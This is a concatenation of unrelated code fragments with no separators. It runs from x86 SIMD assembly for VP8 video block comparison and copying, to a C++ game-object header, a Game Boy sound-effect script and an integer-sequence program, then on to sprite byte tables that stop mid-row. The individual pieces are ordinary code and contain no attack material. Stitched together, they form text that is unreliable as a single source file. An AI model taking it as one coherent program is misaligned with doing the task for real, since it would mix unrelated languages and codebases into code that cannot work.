epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad8x8_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad8x8_wmt) sym(vp8_sad8x8_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] pxor mm7, mm7 .x8x8sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) jg .x8x8sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm1, QWORD PTR [rdi] psadbw mm0, mm1 lea rsi, [rsi+rbx] add rdi, rdx paddw mm7, mm0 cmp rsi, rcx jne .x8x8sad_wmt_loop movq rax, mm7 .x8x8sad_wmt_early_exit: ; begin epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad4x4_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad4x4_wmt) sym(vp8_sad4x4_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 4 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride movd mm0, DWORD PTR [rsi] movd mm1, DWORD PTR [rdi] movd mm2, DWORD PTR [rsi+rax] movd mm3, DWORD PTR [rdi+rdx] punpcklbw mm0, mm2 punpcklbw mm1, mm3 psadbw mm0, mm1 lea rsi, [rsi+rax*2] lea rdi, [rdi+rdx*2] movd mm4, DWORD PTR [rsi] movd mm5, DWORD PTR [rdi] movd mm6, DWORD PTR [rsi+rax] movd mm7, DWORD PTR [rdi+rdx] punpcklbw mm4, mm6 punpcklbw mm5, mm7 psadbw mm4, mm5 paddw mm0, mm4 movq rax, mm0 ; begin epilog pop rdi pop rsi UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad16x8_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad16x8_wmt) sym(vp8_sad16x8_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] pxor mm7, mm7 .x16x8sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) jg .x16x8sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm2, QWORD PTR [rsi+8] movq mm1, QWORD PTR [rdi] movq mm3, QWORD PTR [rdi+8] movq mm4, QWORD PTR [rsi+rbx] movq mm5, QWORD PTR [rdi+rdx] psadbw mm0, mm1 psadbw mm2, mm3 movq mm1, QWORD PTR [rsi+rbx+8] movq mm3, QWORD PTR [rdi+rdx+8] psadbw mm4, mm5 psadbw mm1, mm3 lea rsi, [rsi+rbx*2] lea rdi, [rdi+rdx*2] paddw mm0, mm2 paddw mm4, mm1 paddw mm7, mm0 paddw mm7, mm4 cmp rsi, rcx jne .x16x8sad_wmt_loop movq rax, mm7 .x16x8sad_wmt_early_exit: ; begin epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;void vp8_copy32xn_sse2( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *dst_ptr, ; int dst_stride, ; int height); global sym(vp8_copy32xn_sse2) sym(vp8_copy32xn_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 SAVE_XMM 7 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;dst_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;dst_stride movsxd rcx, dword ptr arg(4) ;height .block_copy_sse2_loopx4: movdqu xmm0, XMMWORD PTR [rsi] movdqu xmm1, XMMWORD PTR [rsi + 16] movdqu xmm2, XMMWORD PTR [rsi + rax] movdqu xmm3, XMMWORD PTR [rsi + rax + 16] lea rsi, [rsi+rax*2] movdqu xmm4, XMMWORD PTR [rsi] movdqu xmm5, XMMWORD PTR [rsi + 16] movdqu xmm6, XMMWORD PTR [rsi + rax] movdqu xmm7, XMMWORD PTR [rsi + rax + 16] lea rsi, [rsi+rax*2] movdqa XMMWORD PTR [rdi], xmm0 movdqa XMMWORD PTR [rdi + 16], xmm1 movdqa XMMWORD PTR [rdi + rdx], xmm2 movdqa XMMWORD PTR [rdi + rdx + 16], xmm3 lea rdi, [rdi+rdx*2] movdqa XMMWORD PTR [rdi], xmm4 movdqa XMMWORD PTR [rdi + 16], xmm5 movdqa XMMWORD PTR [rdi + rdx], xmm6 movdqa XMMWORD PTR [rdi + rdx + 16], xmm7 lea rdi, [rdi+rdx*2] sub rcx, 4 cmp rcx, 4 jge .block_copy_sse2_loopx4 cmp rcx, 0 je .copy_is_done .block_copy_sse2_loop: movdqu xmm0, XMMWORD PTR [rsi] movdqu xmm1, XMMWORD PTR [rsi + 16] lea rsi, [rsi+rax] movdqa XMMWORD PTR [rdi], xmm0 movdqa XMMWORD PTR [rdi + 16], xmm1 lea rdi, [rdi+rdx] sub rcx, 1 jne .block_copy_sse2_loop .copy_is_done: ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret
#ifndef COIN_H #define COIN_H #include <iostream> #include <string> #include <vector> #include <map> #include "../engine/include/game_object.hpp" #include "../engine/include/keyboard_event.hpp" #include "../engine/include/image.hpp" #include "../engine/include/game_object.hpp" namespace game { class Coin : public engine::GameObject { public: Coin(std::string p_name, std::pair<int, int> position, int p): engine::GameObject(p_name, position, p, { {engine::KeyboardEvent::LEFT,"MOVE_LEFT"}, {engine::KeyboardEvent::RIGHT,"MOVE_RIGHT"}, }){}; ~Coin(){}; void update(); void on_event(GameEvent game_event); }; } #endif
SFX_Silph_Scope_Ch4: duty 0 unknownsfx0x20 0, 210, 0, 7 unknownsfx0x20 0, 210, 64, 7 unknownsfx0x20 0, 210, 128, 7 unknownsfx0x20 0, 210, 192, 7 unknownsfx0x20 10, 225, 224, 7 unknownsfx0x20 1, 0, 0, 0 endchannel
; A213846: Antidiagonal sums of the convolution array A213844. ; Submitted by Jon Maiga ; 3,23,90,250,565,1113,1988,3300,5175,7755,11198,15678,21385,28525,37320,48008,60843,76095,94050,115010,139293,167233,199180,235500,276575,322803,374598,432390,496625,567765,646288,732688,827475,931175,1044330,1167498,1301253,1446185,1602900,1772020,1954183,2150043,2360270,2585550,2826585,3084093,3358808,3651480,3962875,4293775,4644978,5017298,5411565,5828625,6269340,6734588,7225263,7742275,8286550,8859030,9460673,10092453,10755360,11450400,12178595,12940983,13738618,14572570,15443925,16353785 add $0,3 mov $1,$0 bin $0,3 mul $1,2 sub $1,2 bin $1,4 add $1,$0 add $1,$0 mov $0,$1
idle: DB 145, 85, 170, 41, 34, 136, 18, 151, 121, 17, 18, 0 DB 16, 89, 170, 25, 34, 130, 18, 17, 17, 17, 18, 0 DB 16, 89, 154, 17, 17, 33, 17, 71, 120, 17, 17, 1 DB 16, 89, 154, 17, 17, 17, 17, 22, 129, 17, 17, 23 DB 16, 89, 170, 25, 151, 119, 121, 20, 132, 151, 113, 25 DB 16, 89, 170, 154, 17, 17, 17, 20, 129, 17, 145, 23 DB 16, 89, 170, 154, 17, 17, 17, 71, 120, 17, 113, 1 DB 0, 161, 169, 25, 17, 17, 17, 17, 17, 17, 17, 0 DB 0, 16, 17, 17, 151, 121, 17, 17, 17, 23, 0, 0 DB 0, 145, 17, 151, 85, 153, 23, 17, 113, 23, 0, 0 DB 16, 25, 145, 89, 165, 154, 25, 113, 119, 25, 0, 0 DB 16, 25, 145, 85, 170, 170, 25, 113, 151, 25, 0, 0 DB 145, 1, 145, 85, 170, 170, 25, 113, 153, 25, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 153, 25, 0, 0 DB 145, 1, 145, 165, 170, 154, 25, 119, 153, 25, 0, 0 DB 16, 25, 145, 165, 170, 154, 17, 119, 153, 23, 0, 0 DB 16, 25, 145, 165, 170, 153, 113, 119, 153, 23, 0, 0 DB 16, 25, 89, 170, 154, 25, 113, 151, 121, 1, 0, 0 DB 161, 17, 89, 170, 25, 17, 119, 153, 23, 0, 0, 0 DB 90, 26, 89, 154, 1, 16, 151, 121, 1, 0, 0, 0 DB 81, 17, 169, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 170, 17, 89, 26, 0, 16, 151, 25, 0, 0, 0, 0 DB 26, 16, 89, 26, 0, 16, 151, 25, 0, 0, 0, 0 DB 1, 16, 89, 26, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 1, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 145, 85, 25, 0, 16, 121, 1, 0, 0, 0 DB 0, 0, 145, 154, 26, 0, 16, 151, 23, 1, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 113, 121, 1, 0, 0 gira: DB 161, 165, 154, 33, 130, 145, 154, 129, 34, 145, 170, 165 DB 16, 165, 154, 33, 40, 17, 17, 33, 40, 145, 170, 21 DB 16, 165, 25, 33, 18, 97, 100, 17, 34, 17, 169, 21 DB 16, 165, 25, 17, 17, 22, 17, 22, 17, 17, 169, 21 DB 16, 165, 154, 113, 121, 20, 20, 120, 121, 145, 170, 21 DB 16, 165, 170, 25, 17, 20, 17, 24, 17, 169, 170, 21 DB 16, 85, 154, 25, 17, 65, 136, 17, 17, 153, 90, 21 DB 0, 145, 153, 17, 17, 17, 17, 17, 17, 145, 153, 1 DB 0, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 0 DB 0, 0, 16, 85, 25, 17, 17, 17, 89, 21, 0, 0 DB 0, 0, 81, 85, 154, 17, 17, 145, 90, 85, 1, 0 DB 0, 0, 81, 165, 154, 17, 17, 145, 170, 85, 1, 0 DB 0, 0, 81, 165, 170, 25, 17, 169, 170, 85, 1, 0 DB 0, 0, 81, 165, 170, 25, 23, 169, 170, 85, 1, 0 DB 0, 0, 81, 170, 170, 25, 23, 169, 170, 90, 1, 0 DB 0, 0, 81, 170, 170, 25, 23, 169, 170, 90, 1, 0 DB 0, 0, 81, 170, 170, 25, 23, 169, 170, 90, 1, 0 DB 0, 0, 81, 170, 154, 17, 25, 145, 170, 90, 1, 0 DB 0, 16, 85, 149, 25, 0, 145, 17, 153, 85, 21, 0 DB 0, 16, 154, 153, 1, 0, 145, 1, 145, 153, 26, 0 DB 0, 16, 153, 25, 0, 0, 16, 25, 16, 153, 25, 0 DB 0, 16, 154, 25, 0, 0, 16, 25, 16, 153, 26, 0 DB 0, 16, 149, 25, 0, 0, 145, 25, 16, 153, 21, 0 DB 0, 16, 149, 25, 0, 0, 145, 25, 16, 153, 21, 0 DB 0, 16, 165, 25, 0, 16, 153, 1, 16, 169, 21, 0 DB 0, 16, 85, 25, 0, 0, 17, 0, 16, 89, 21, 0 DB 0, 16, 165, 25, 0, 0, 0, 0, 16, 169, 21, 0 DB 0, 16, 165, 25, 0, 0, 0, 0, 16, 169, 21, 0 DB 0, 16, 165, 17, 0, 0, 0, 0, 16, 161, 21, 0 DB 0, 0, 81, 170, 1, 0, 0, 0, 161, 90, 1, 0 DB 0, 0, 81, 154, 26, 0, 0, 16, 154, 90, 1, 0 DB 0, 0, 16, 149, 26, 0, 0, 16, 154, 21, 0, 0 camina: DB 165, 154, 17, 34, 136, 40, 17, 17, 17, 33, 1, 0 DB 89, 154, 17, 17, 34, 34, 17, 132, 17, 17, 23, 0 DB 145, 154, 17, 17, 17, 17, 97, 17, 24, 113, 153, 1 DB 145, 170, 25, 119, 121, 151, 71, 65, 120, 113, 153, 25 DB 145, 170, 25, 17, 17, 17, 65, 17, 24, 113, 151, 25 DB 16, 165, 25, 17, 17, 17, 17, 132, 17, 17, 119, 23 DB 16, 165, 154, 17, 17, 17, 17, 17, 17, 1, 17, 1 DB 16, 89, 154, 17, 17, 17, 17, 17, 17, 1, 0, 0 DB 16, 145, 25, 145, 153, 25, 17, 17, 113, 1, 0, 0 DB 145, 17, 17, 153, 149, 153, 17, 17, 113, 1, 0, 0 DB 25, 0, 145, 89, 165, 153, 17, 17, 119, 23, 0, 0 DB 25, 0, 145, 85, 170, 154, 113, 119, 151, 25, 0, 0 DB 145, 1, 145, 165, 170, 154, 17, 119, 151, 153, 1, 0 DB 16, 25, 145, 165, 170, 154, 1, 113, 151, 153, 25, 0 DB 0, 145, 145, 165, 170, 154, 1, 16, 119, 153, 25, 0 DB 0, 145, 145, 165, 170, 25, 0, 16, 119, 153, 25, 0 DB 16, 25, 145, 165, 170, 25, 17, 17, 119, 153, 25, 0 DB 145, 1, 145, 165, 170, 25, 119, 119, 151, 153, 1, 0 DB 21, 0, 145, 165, 154, 17, 119, 119, 23, 17, 0, 0 DB 170, 1, 145, 165, 153, 113, 119, 17, 1, 0, 0, 0 DB 165, 1, 145, 154, 25, 119, 23, 0, 0, 0, 0, 0 DB 81, 17, 89, 149, 17, 151, 1, 0, 0, 0, 0, 0 DB 16, 26, 89, 26, 16, 151, 1, 0, 0, 0, 0, 0 DB 0, 17, 89, 26, 16, 151, 1, 0, 0, 0, 0, 0 DB 0, 16, 89, 26, 16, 151, 1, 0, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 113, 1, 0, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 113, 25, 0, 0, 0, 0, 0 DB 0, 16, 89, 26, 0, 113, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 1, 16, 119, 1, 0, 0, 0, 0 DB 0, 0, 161, 170, 25, 0, 17, 0, 0, 0, 0, 0 DB 0, 0, 145, 154, 26, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 165, 170, 153, 129, 18, 151, 23, 0 DB 0, 0, 0, 16, 89, 170, 154, 33, 18, 17, 17, 0 DB 0, 0, 0, 0, 145, 165, 170, 25, 17, 24, 113, 1 DB 0, 0, 0, 0, 17, 89, 170, 154, 129, 129, 113, 1 DB 0, 0, 16, 17, 17, 17, 89, 170, 137, 129, 17, 0 DB 0, 0, 145, 25, 17, 17, 17, 169, 154, 129, 1, 0 DB 0, 16, 25, 17, 17, 17, 145, 170, 154, 24, 1, 0 DB 0, 145, 1, 16, 153, 153, 17, 153, 25, 17, 1, 0 DB 0, 145, 1, 145, 89, 153, 25, 17, 17, 113, 1, 0 DB 0, 16, 25, 145, 165, 154, 25, 17, 17, 113, 1, 0 DB 0, 16, 25, 145, 165, 170, 153, 17, 17, 113, 1, 0 DB 0, 145, 17, 153, 165, 170, 154, 17, 17, 119, 1, 0 DB 16, 25, 16, 89, 170, 170, 154, 113, 119, 119, 25, 0 DB 81, 1, 16, 89, 170, 170, 154, 113, 119, 119, 153, 1 DB 170, 1, 16, 89, 170, 170, 25, 113, 119, 119, 153, 1 DB 170, 1, 0, 145, 165, 170, 25, 119, 119, 151, 153, 25 DB 165, 1, 0, 145, 165, 170, 25, 17, 119, 151, 153, 25 DB 81, 1, 16, 89, 170, 154, 1, 16, 119, 153, 153, 25 DB 16, 26, 145, 165, 153, 25, 0, 0, 145, 153, 153, 25 DB 0, 17, 89, 154, 17, 1, 0, 0, 16, 151, 153, 1 DB 0, 16, 89, 26, 0, 0, 0, 0, 113, 151, 17, 0 DB 0, 16, 89, 25, 0, 0, 0, 16, 119, 25, 0, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 113, 151, 1, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 16, 119, 25, 0 DB 0, 145, 165, 1, 0, 0, 0, 0, 0, 113, 151, 1 DB 0, 145, 165, 1, 0, 0, 0, 0, 0, 16, 119, 25 DB 0, 145, 165, 1, 0, 0, 0, 0, 0, 0, 113, 151 DB 0, 16, 169, 1, 0, 0, 0, 0, 0, 0, 113, 153 DB 0, 16, 169, 25, 1, 0, 0, 0, 0, 0, 113, 153 DB 0, 0, 145, 170, 26, 0, 0, 0, 0, 0, 16, 25 DB 0, 0, 145, 154, 26, 0, 0, 0, 0, 0, 0, 1 DB 0, 0, 16, 154, 26, 0, 0, 0, 0, 0, 0, 0 DB 0, 16, 89, 154, 153, 17, 18, 23, 17, 0, 0, 0 DB 0, 0, 81, 154, 153, 153, 17, 145, 25, 0, 0, 0 DB 0, 0, 145, 165, 170, 153, 153, 153, 153, 1, 0, 0 DB 0, 0, 17, 89, 165, 170, 170, 169, 154, 1, 0, 0 DB 0, 0, 16, 145, 89, 85, 170, 170, 154, 1, 0, 0 DB 0, 0, 16, 17, 17, 17, 145, 170, 26, 0, 0, 0 DB 0, 16, 17, 17, 17, 17, 17, 17, 1, 0, 0, 0 DB 0, 145, 25, 17, 17, 17, 17, 17, 1, 0, 0, 0 DB 16, 25, 17, 145, 153, 25, 17, 17, 1, 0, 0, 0 DB 16, 25, 16, 153, 169, 170, 25, 17, 1, 0, 0, 0 DB 0, 145, 17, 153, 170, 170, 154, 17, 0, 0, 0, 0 DB 16, 16, 25, 153, 170, 170, 170, 25, 0, 0, 0, 0 DB 81, 1, 145, 145, 165, 170, 170, 154, 1, 0, 0, 0 DB 165, 26, 145, 145, 89, 165, 170, 170, 25, 0, 0, 0 DB 170, 145, 25, 16, 153, 89, 85, 165, 25, 0, 0, 0 DB 21, 16, 1, 0, 17, 145, 153, 89, 154, 1, 0, 0 DB 161, 1, 0, 0, 16, 17, 17, 145, 154, 1, 0, 0 DB 16, 1, 0, 0, 145, 153, 153, 169, 153, 1, 0, 0 DB 0, 0, 0, 16, 89, 170, 154, 153, 17, 0, 0, 0 DB 0, 0, 0, 145, 165, 153, 25, 17, 0, 0, 0, 0 DB 0, 0, 0, 16, 149, 17, 17, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 165, 25, 23, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 169, 25, 23, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 161, 25, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 161, 25, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 161, 25, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 81, 165, 25, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 145, 169, 25, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 81, 154, 17, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 17, 16, 151, 1, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 113, 153, 1, 0, 0, 0 DB 0, 0, 16, 169, 154, 153, 129, 18, 65, 24, 17, 18 DB 0, 0, 16, 89, 170, 153, 33, 18, 22, 129, 17, 18 DB 0, 0, 0, 145, 165, 153, 25, 121, 20, 132, 23, 1 DB 0, 0, 0, 16, 89, 154, 25, 17, 20, 129, 17, 0 DB 0, 0, 0, 0, 145, 170, 153, 17, 65, 24, 17, 0 DB 0, 0, 0, 0, 16, 165, 154, 25, 17, 17, 17, 0 DB 0, 0, 0, 16, 17, 169, 154, 25, 17, 17, 17, 0 DB 0, 0, 16, 145, 25, 145, 153, 25, 153, 17, 23, 0 DB 0, 0, 145, 25, 17, 25, 17, 145, 154, 25, 23, 0 DB 0, 16, 25, 1, 16, 153, 153, 169, 170, 153, 17, 0 DB 0, 16, 25, 1, 0, 145, 169, 170, 170, 154, 17, 0 DB 0, 0, 145, 25, 0, 16, 89, 170, 170, 154, 25, 0 DB 0, 17, 16, 145, 1, 16, 145, 165, 170, 170, 25, 0 DB 16, 21, 0, 145, 1, 16, 17, 89, 170, 170, 25, 0 DB 81, 17, 17, 25, 0, 17, 25, 145, 165, 170, 153, 1 DB 81, 170, 170, 1, 0, 145, 121, 17, 89, 170, 153, 1 DB 16, 165, 26, 0, 0, 145, 119, 23, 145, 165, 154, 25 DB 0, 17, 1, 0, 0, 113, 23, 145, 89, 170, 154, 25 DB 0, 0, 0, 0, 0, 16, 17, 89, 170, 170, 153, 1 DB 0, 0, 0, 0, 0, 0, 145, 149, 153, 153, 17, 0 DB 0, 0, 0, 0, 0, 0, 81, 154, 17, 17, 0, 0 DB 0, 0, 0, 0, 0, 0, 161, 154, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 16, 154, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 16, 154, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 81, 154, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 145, 154, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 16, 165, 25, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 16, 89, 170, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 161, 169, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 161, 169, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 17, 17, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 145, 145, 1, 0, 0 DB 169, 153, 25, 130, 136, 18, 17, 17, 17, 18, 0, 0 DB 89, 154, 25, 130, 136, 18, 17, 17, 17, 18, 1, 0 DB 145, 154, 153, 33, 136, 18, 17, 132, 17, 18, 25, 0 DB 16, 165, 153, 33, 34, 18, 97, 17, 24, 18, 25, 0 DB 16, 169, 153, 113, 121, 151, 71, 65, 120, 145, 25, 0 DB 0, 161, 154, 17, 17, 17, 129, 17, 24, 16, 1, 0 DB 0, 161, 170, 25, 153, 153, 25, 129, 17, 0, 0, 0 DB 0, 81, 170, 154, 145, 169, 153, 25, 17, 0, 0, 0 DB 0, 145, 165, 153, 145, 170, 154, 153, 17, 0, 0, 0 DB 0, 17, 153, 25, 89, 170, 170, 153, 25, 0, 0, 0 DB 16, 25, 17, 17, 89, 170, 170, 170, 153, 1, 0, 0 DB 16, 25, 17, 16, 145, 165, 170, 170, 153, 1, 0, 0 DB 0, 145, 153, 1, 17, 89, 170, 170, 154, 25, 0, 0 DB 0, 16, 17, 25, 16, 145, 165, 170, 153, 25, 0, 0 DB 0, 0, 0, 145, 1, 17, 89, 170, 153, 1, 0, 0 DB 0, 0, 0, 145, 1, 17, 145, 154, 25, 0, 0, 0 DB 0, 0, 16, 165, 17, 89, 170, 153, 1, 0, 0, 0 DB 0, 0, 81, 170, 145, 149, 153, 25, 1, 0, 0, 0 DB 0, 0, 161, 26, 16, 154, 17, 17, 0, 0, 0, 0 DB 0, 16, 21, 1, 16, 154, 17, 1, 0, 0, 0, 0 DB 0, 16, 1, 0, 16, 89, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 113, 81, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 119, 81, 154, 1, 0, 0, 0, 0 DB 0, 0, 0, 16, 23, 145, 154, 1, 0, 0, 0, 0 DB 0, 0, 0, 113, 23, 16, 149, 1, 0, 0, 0, 0 DB 0, 0, 16, 119, 1, 16, 169, 25, 1, 0, 0, 0 DB 0, 0, 16, 151, 1, 0, 81, 170, 26, 0, 0, 0 DB 0, 0, 16, 151, 1, 0, 145, 154, 26, 0, 0, 0 DB 0, 0, 16, 153, 1, 0, 16, 154, 26, 0, 0, 0 DB 0, 0, 0, 145, 1, 0, 0, 17, 1, 0, 0, 0 DB 0, 0, 0, 145, 25, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 145, 153, 1, 0, 0, 0, 0, 0, 0 DB 0, 145, 165, 154, 33, 136, 136, 18, 153, 151, 25, 18 DB 0, 145, 165, 154, 33, 136, 136, 18, 151, 153, 23, 18 DB 0, 16, 89, 154, 33, 130, 136, 18, 17, 17, 17, 18 DB 0, 0, 145, 154, 25, 34, 136, 18, 65, 24, 17, 18 DB 0, 0, 145, 170, 25, 17, 34, 18, 20, 129, 17, 18 DB 0, 0, 145, 170, 25, 151, 119, 121, 20, 132, 23, 1 DB 0, 0, 145, 170, 153, 17, 17, 17, 20, 129, 1, 0 DB 0, 0, 145, 170, 153, 17, 17, 17, 65, 24, 1, 0 DB 0, 16, 17, 153, 25, 145, 153, 25, 17, 17, 1, 0 DB 0, 145, 17, 17, 17, 153, 153, 153, 17, 17, 1, 0 DB 16, 25, 0, 0, 145, 89, 170, 153, 25, 113, 1, 0 DB 145, 1, 16, 17, 145, 89, 170, 154, 25, 113, 1, 0 DB 145, 1, 145, 26, 17, 153, 165, 154, 153, 17, 0, 0 DB 145, 17, 25, 170, 17, 145, 165, 170, 153, 17, 0, 0 DB 16, 153, 17, 165, 17, 23, 89, 170, 153, 1, 0, 0 DB 0, 17, 0, 81, 17, 23, 89, 170, 154, 1, 0, 0 DB 0, 0, 16, 21, 16, 119, 145, 165, 154, 1, 0, 0 DB 0, 0, 16, 1, 16, 23, 89, 154, 25, 0, 0, 0 DB 0, 0, 0, 0, 16, 145, 149, 25, 1, 0, 0, 0 DB 0, 0, 0, 0, 16, 89, 25, 1, 0, 0, 0, 0 DB 0, 0, 0, 0, 16, 169, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 17, 169, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 23, 161, 25, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 119, 81, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 119, 81, 154, 1, 0, 0, 0, 0 DB 0, 0, 0, 113, 23, 17, 154, 1, 0, 0, 0, 0 DB 0, 0, 0, 113, 23, 16, 165, 1, 0, 0, 0, 0 DB 0, 0, 0, 113, 25, 16, 165, 25, 0, 0, 0, 0 DB 0, 0, 0, 145, 25, 0, 161, 25, 1, 0, 0, 0 DB 0, 0, 0, 145, 25, 0, 81, 170, 26, 0, 0, 0 DB 0, 0, 0, 145, 25, 0, 81, 154, 26, 0, 0, 0 DB 0, 0, 0, 145, 153, 1, 16, 154, 26, 0, 0, 0 cae: DB 154, 170, 153, 33, 40, 145, 121, 153, 33, 130, 1, 0 DB 165, 170, 25, 34, 136, 114, 153, 121, 33, 34, 24, 0 DB 169, 154, 25, 130, 136, 40, 17, 17, 33, 130, 1, 0 DB 145, 153, 33, 130, 136, 18, 65, 24, 33, 24, 0, 0 DB 17, 17, 17, 17, 17, 17, 22, 129, 129, 1, 0, 0 DB 21, 113, 121, 151, 119, 121, 20, 132, 23, 1, 0, 0 DB 165, 17, 17, 17, 17, 17, 20, 129, 17, 17, 17, 0 DB 165, 17, 17, 17, 17, 17, 65, 24, 17, 119, 119, 1 DB 170, 17, 145, 153, 153, 17, 17, 17, 17, 119, 119, 23 DB 161, 17, 153, 169, 154, 25, 17, 17, 113, 119, 119, 121 DB 25, 16, 153, 165, 170, 153, 17, 113, 119, 119, 151, 121 DB 25, 16, 153, 165, 170, 154, 25, 16, 113, 119, 153, 121 DB 25, 0, 145, 165, 170, 154, 25, 0, 16, 151, 153, 23 DB 145, 1, 17, 89, 170, 154, 25, 0, 113, 153, 121, 1 DB 145, 1, 16, 89, 170, 170, 25, 16, 119, 119, 23, 0 DB 16, 25, 17, 145, 165, 170, 153, 17, 119, 23, 1, 0 DB 0, 145, 25, 145, 89, 170, 153, 1, 113, 121, 1, 0 DB 0, 16, 17, 17, 89, 170, 25, 0, 16, 151, 23, 0 DB 0, 0, 0, 0, 145, 165, 1, 0, 0, 113, 121, 1 DB 0, 0, 0, 16, 89, 26, 0, 0, 0, 16, 151, 1 DB 0, 0, 0, 145, 165, 1, 0, 0, 0, 0, 145, 23 DB 0, 0, 16, 89, 26, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 16, 169, 1, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 16, 169, 25, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 0, 145, 154, 1, 0, 0, 0, 0, 16, 23 DB 0, 0, 0, 145, 154, 1, 0, 0, 0, 0, 0, 1 DB 0, 0, 0, 145, 165, 17, 1, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 89, 170, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 161, 149, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 16, 149, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 17, 1, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 169, 89, 154, 25, 130, 18, 25, 145, 17, 18, 23, 23 DB 169, 89, 154, 25, 130, 18, 119, 145, 23, 18, 119, 1 DB 169, 169, 154, 33, 136, 18, 113, 119, 23, 18, 119, 1 DB 81, 170, 154, 33, 136, 40, 113, 153, 23, 129, 17, 0 DB 145, 165, 25, 130, 136, 40, 113, 121, 25, 33, 17, 0 DB 16, 153, 17, 130, 136, 40, 113, 23, 23, 17, 24, 0 DB 0, 17, 33, 40, 34, 18, 119, 121, 23, 130, 1, 0 DB 0, 16, 34, 18, 17, 17, 17, 119, 129, 17, 0, 0 DB 1, 145, 119, 17, 17, 17, 132, 17, 17, 0, 0, 0 DB 21, 33, 17, 121, 23, 97, 17, 24, 0, 0, 0, 0 DB 165, 33, 17, 17, 145, 71, 65, 120, 0, 0, 0, 0 DB 165, 33, 17, 